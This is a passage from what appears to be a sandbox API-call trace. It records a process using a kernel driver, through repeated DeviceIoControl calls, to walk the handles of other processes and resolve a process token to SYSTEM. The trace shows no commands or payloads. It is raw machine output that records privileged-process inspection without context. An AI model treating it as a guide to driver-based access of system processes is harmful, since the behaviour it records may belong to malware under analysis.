KeStackAttachProcess (in: PROCESS=0xfffffa8003055910, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8003055910, ApcState=0xfffff880054735d0) [0136.427] ObReferenceObjectByHandle (in: Handle=0x608, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8010dc5970, HandleInformation=0x0) returned 0x0 [0136.427] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.427] PsReleaseProcessExitSynchronization () returned 0x2 [0136.427] ObfDereferenceObject (Object=0xfffffa8003055910) returned 0xdb [0136.427] ObQueryNameString (in: Object=0xfffffa8010dc5970, ObjectNameInfo=0xfffffa8001a0d044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001a0d044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.427] ObfDereferenceObject (Object=0xfffffa8010dc5970) returned 0x2 [0136.427] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.427] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.427] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.427] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0136.427] PsLookupProcessByProcessId (in: ProcessId=0x1e0, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.427] PsAcquireProcessExitSynchronization () returned 0x0 [0136.427] KeStackAttachProcess (in: PROCESS=0xfffffa8003055910, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8003055910, ApcState=0xfffff880054735d0) [0136.427] ObReferenceObjectByHandle (in: Handle=0x724, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80035681b0, HandleInformation=0x0) returned 0x0 [0136.427] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.427] PsReleaseProcessExitSynchronization () returned 0x2 [0136.427] ObfDereferenceObject (Object=0xfffffa8003055910) returned 0xdb [0136.427] ObQueryNameString (in: Object=0xfffffa80035681b0, ObjectNameInfo=0xfffffa80019ff044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80019ff044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.428] ObfDereferenceObject (Object=0xfffffa80035681b0) returned 0x2 [0136.428] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.428] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.428] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.428] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0136.428] PsLookupProcessByProcessId (in: ProcessId=0x1e0, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.428] PsAcquireProcessExitSynchronization () returned 0x0 [0136.428] KeStackAttachProcess (in: PROCESS=0xfffffa8003055910, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8003055910, ApcState=0xfffff880054735d0) [0136.428] ObReferenceObjectByHandle (in: Handle=0x734, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8010307f20, HandleInformation=0x0) returned 0x0 [0136.428] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.428] PsReleaseProcessExitSynchronization () returned 0x2 [0136.428] ObfDereferenceObject (Object=0xfffffa8003055910) returned 0xdb [0136.428] ObQueryNameString (in: Object=0xfffffa8010307f20, ObjectNameInfo=0xfffffa8001a0b044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001a0b044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.428] ObfDereferenceObject (Object=0xfffffa8010307f20) returned 0x2 [0136.428] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.428] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.428] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.428] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0136.428] PsLookupProcessByProcessId (in: ProcessId=0x1e0, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.428] PsAcquireProcessExitSynchronization () returned 0x0 [0136.428] KeStackAttachProcess (in: PROCESS=0xfffffa8003055910, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8003055910, ApcState=0xfffff880054735d0) [0136.428] ObReferenceObjectByHandle (in: Handle=0x738, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa800352e5a0, HandleInformation=0x0) returned 0x0 [0136.428] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.428] PsReleaseProcessExitSynchronization () returned 0x2 [0136.428] ObfDereferenceObject (Object=0xfffffa8003055910) returned 0xdb [0136.428] ObQueryNameString (in: Object=0xfffffa800352e5a0, ObjectNameInfo=0xfffffa80019fb044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80019fb044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.429] ObfDereferenceObject (Object=0xfffffa800352e5a0) returned 0x2 [0136.429] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.429] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.429] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.429] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0136.429] PsLookupProcessByProcessId (in: ProcessId=0x1e0, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.429] PsAcquireProcessExitSynchronization () returned 0x0 [0136.429] KeStackAttachProcess (in: PROCESS=0xfffffa8003055910, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8003055910, ApcState=0xfffff880054735d0) [0136.429] ObReferenceObjectByHandle (in: Handle=0x74c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80023916f0, HandleInformation=0x0) returned 0x0 [0136.429] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.429] PsReleaseProcessExitSynchronization () returned 0x2 [0136.429] ObfDereferenceObject (Object=0xfffffa8003055910) returned 0xdb [0136.429] ObQueryNameString (in: Object=0xfffffa80023916f0, ObjectNameInfo=0xfffffa80019fc044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80019fc044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.429] ObfDereferenceObject (Object=0xfffffa80023916f0) returned 0x2 [0136.429] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.429] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.429] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.429] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x38, lpOverlapped=0x0) returned 1 [0136.429] PsLookupProcessByProcessId (in: ProcessId=0x1e0, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.429] PsAcquireProcessExitSynchronization () returned 0x0 [0136.429] KeStackAttachProcess (in: PROCESS=0xfffffa8003055910, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8003055910, ApcState=0xfffff880054735d0) [0136.429] ObReferenceObjectByHandle (in: Handle=0x768, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80035a2b80, HandleInformation=0x0) returned 0x0 [0136.429] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.429] PsReleaseProcessExitSynchronization () returned 0x2 [0136.429] ObfDereferenceObject (Object=0xfffffa8003055910) returned 0xdb [0136.429] ObQueryNameString (in: Object=0xfffffa80035a2b80, ObjectNameInfo=0xfffffa80019fd044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80019fd044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.429] ObfDereferenceObject (Object=0xfffffa80035a2b80) returned 0x1 [0136.429] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.429] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.429] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.429] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x38, lpOverlapped=0x0) returned 1 [0136.430] PsLookupProcessByProcessId (in: ProcessId=0x1e0, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.430] PsAcquireProcessExitSynchronization () returned 0x0 [0136.430] KeStackAttachProcess (in: PROCESS=0xfffffa8003055910, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8003055910, ApcState=0xfffff880054735d0) [0136.430] ObReferenceObjectByHandle (in: Handle=0x89c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80023c7580, HandleInformation=0x0) returned 0x0 [0136.430] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.430] PsReleaseProcessExitSynchronization () returned 0x2 [0136.430] ObfDereferenceObject (Object=0xfffffa8003055910) returned 0xdb [0136.430] ObQueryNameString (in: Object=0xfffffa80023c7580, ObjectNameInfo=0xfffffa80019fe044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80019fe044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.430] ObfDereferenceObject (Object=0xfffffa80023c7580) returned 0x1 [0136.430] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.430] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.430] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.430] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x38, lpOverlapped=0x0) returned 1 [0136.430] PsLookupProcessByProcessId (in: ProcessId=0x1e0, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.430] PsAcquireProcessExitSynchronization () returned 0x0 [0136.430] KeStackAttachProcess (in: PROCESS=0xfffffa8003055910, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8003055910, ApcState=0xfffff880054735d0) [0136.430] ObReferenceObjectByHandle (in: Handle=0x8e0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80019bb3f0, HandleInformation=0x0) returned 0x0 [0136.430] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.430] PsReleaseProcessExitSynchronization () returned 0x2 [0136.430] ObfDereferenceObject (Object=0xfffffa8003055910) returned 0xdb [0136.430] ObQueryNameString (in: Object=0xfffffa80019bb3f0, ObjectNameInfo=0xfffffa8001a06044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001a06044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.430] ObfDereferenceObject (Object=0xfffffa80019bb3f0) returned 0x2 [0136.430] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.430] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.430] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x1e8) returned 0xc0 [0136.430] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0136.430] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005473668, HandleInformation=0x0 | out: Object=0xfffff88005473668*=0xfffffa8003058b30, HandleInformation=0x0) returned 0x0 [0136.430] ObOpenObjectByPointer (in: Object=0xfffffa8003058b30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005473670 | out: Handle=0xfffff88005473670*=0xffffffff80000b74) returned 0x0 [0136.431] ObfDereferenceObject (Object=0xfffffa8003058b30) returned 0x3f [0136.431] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000b74, DesiredAccess=0x8, TokenHandle=0xfffffa80021959c0 | out: TokenHandle=0xfffffa80021959c0*=0xc8) returned 0x0 [0136.431] ZwClose (Handle=0xffffffff80000b74) returned 0x0 [0136.431] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.431] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0136.431] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x12), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="SYSTEM", cchName=0x12d3c0, ReferencedDomainName="NT AUTHORITY", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0136.432] CloseHandle (hObject=0xc8) returned 1 [0136.432] CloseHandle (hObject=0xc0) returned 1 [0136.432] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.432] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x5a, lpOverlapped=0x0) returned 1 [0136.432] PsLookupProcessByProcessId (in: ProcessId=0x1e8, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.432] PsAcquireProcessExitSynchronization () returned 0x0 [0136.432] KeStackAttachProcess (in: PROCESS=0xfffffa8003058b30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8003058b30, ApcState=0xfffff880054735d0) [0136.432] ObReferenceObjectByHandle (in: Handle=0xc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80030867a0, HandleInformation=0x0) returned 0x0 [0136.432] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.432] PsReleaseProcessExitSynchronization () returned 0x2 [0136.433] ObfDereferenceObject (Object=0xfffffa8003058b30) returned 0x3d [0136.433] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a07044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa8001a07044, ReturnLength=0xfffff88005473508) returned 0x0 [0136.433] ObfDereferenceObject (Object=0xfffffa80030867a0) returned 0x1 [0136.433] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.433] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.433] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.433] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0136.433] PsLookupProcessByProcessId (in: ProcessId=0x1e8, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.433] PsAcquireProcessExitSynchronization () returned 0x0 [0136.433] KeStackAttachProcess (in: PROCESS=0xfffffa8003058b30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8003058b30, ApcState=0xfffff880054735d0) [0136.433] ObReferenceObjectByHandle (in: Handle=0x88, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8003059550, HandleInformation=0x0) returned 0x0 [0136.433] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.433] PsReleaseProcessExitSynchronization () returned 0x2 [0136.433] ObfDereferenceObject (Object=0xfffffa8003058b30) returned 0x3d [0136.433] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa8001a08044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa8001a08044, ReturnLength=0xfffff88005473508) returned 0x0 [0136.433] ObfDereferenceObject (Object=0xfffffa8003059550) returned 0x1 [0136.433] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.433] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.433] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.433] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0136.433] PsLookupProcessByProcessId (in: ProcessId=0x1e8, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.433] PsAcquireProcessExitSynchronization () returned 0x0 [0136.433] KeStackAttachProcess (in: PROCESS=0xfffffa8003058b30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8003058b30, ApcState=0xfffff880054735d0) [0136.433] ObReferenceObjectByHandle (in: Handle=0xc8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8003107a00, HandleInformation=0x0) returned 0x0 [0136.433] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.433] PsReleaseProcessExitSynchronization () returned 0x2 [0136.433] ObfDereferenceObject (Object=0xfffffa8003058b30) returned 0x3d [0136.433] ObQueryNameString (in: Object=0xfffffa8003107a00, ObjectNameInfo=0xfffffa8001a09044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001a09044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.434] ObfDereferenceObject (Object=0xfffffa8003107a00) returned 0x1 [0136.434] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.434] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.434] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.434] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x4c, lpOverlapped=0x0) returned 1 [0136.434] PsLookupProcessByProcessId (in: ProcessId=0x1e8, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.434] PsAcquireProcessExitSynchronization () returned 0x0 [0136.434] KeStackAttachProcess (in: PROCESS=0xfffffa8003058b30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8003058b30, ApcState=0xfffff880054735d0) [0136.434] ObReferenceObjectByHandle (in: Handle=0x1a0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8003109240, HandleInformation=0x0) returned 0x0 [0136.434] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.434] PsReleaseProcessExitSynchronization () returned 0x2 [0136.434] ObfDereferenceObject (Object=0xfffffa8003058b30) returned 0x3d [0136.434] ObQueryNameString (in: Object=0xfffffa8003109240, ObjectNameInfo=0xfffffa8001a0c044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001a0c044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.434] ObfDereferenceObject (Object=0xfffffa8003109240) returned 0x2 [0136.434] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.434] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.434] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.434] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x4c, lpOverlapped=0x0) returned 1 [0136.434] PsLookupProcessByProcessId (in: ProcessId=0x1e8, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.434] PsAcquireProcessExitSynchronization () returned 0x0 [0136.434] KeStackAttachProcess (in: PROCESS=0xfffffa8003058b30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8003058b30, ApcState=0xfffff880054735d0) [0136.434] ObReferenceObjectByHandle (in: Handle=0x1a4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80031081a0, HandleInformation=0x0) returned 0x0 [0136.434] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.434] PsReleaseProcessExitSynchronization () returned 0x2 [0136.434] ObfDereferenceObject (Object=0xfffffa8003058b30) returned 0x3d [0136.434] ObQueryNameString (in: Object=0xfffffa80031081a0, ObjectNameInfo=0xfffffa8001a0e044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001a0e044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.434] ObfDereferenceObject (Object=0xfffffa80031081a0) returned 0x1 [0136.434] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.435] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.435] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.435] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x4c, lpOverlapped=0x0) returned 1 [0136.435] PsLookupProcessByProcessId (in: ProcessId=0x1e8, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.435] PsAcquireProcessExitSynchronization () returned 0x0 [0136.435] KeStackAttachProcess (in: PROCESS=0xfffffa8003058b30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8003058b30, ApcState=0xfffff880054735d0) [0136.435] ObReferenceObjectByHandle (in: Handle=0x1a8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa800310bc90, HandleInformation=0x0) returned 0x0 [0136.435] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.435] PsReleaseProcessExitSynchronization () returned 0x2 [0136.435] ObfDereferenceObject (Object=0xfffffa8003058b30) returned 0x3d [0136.435] ObQueryNameString (in: Object=0xfffffa800310bc90, ObjectNameInfo=0xfffffa8001a10044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001a10044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.435] ObfDereferenceObject (Object=0xfffffa800310bc90) returned 0x1 [0136.435] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.435] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.435] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.435] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0136.435] PsLookupProcessByProcessId (in: ProcessId=0x1e8, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.435] PsAcquireProcessExitSynchronization () returned 0x0 [0136.435] KeStackAttachProcess (in: PROCESS=0xfffffa8003058b30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8003058b30, ApcState=0xfffff880054735d0) [0136.435] ObReferenceObjectByHandle (in: Handle=0x21c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80032199e0, HandleInformation=0x0) returned 0x0 [0136.435] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.435] PsReleaseProcessExitSynchronization () returned 0x2 [0136.435] ObfDereferenceObject 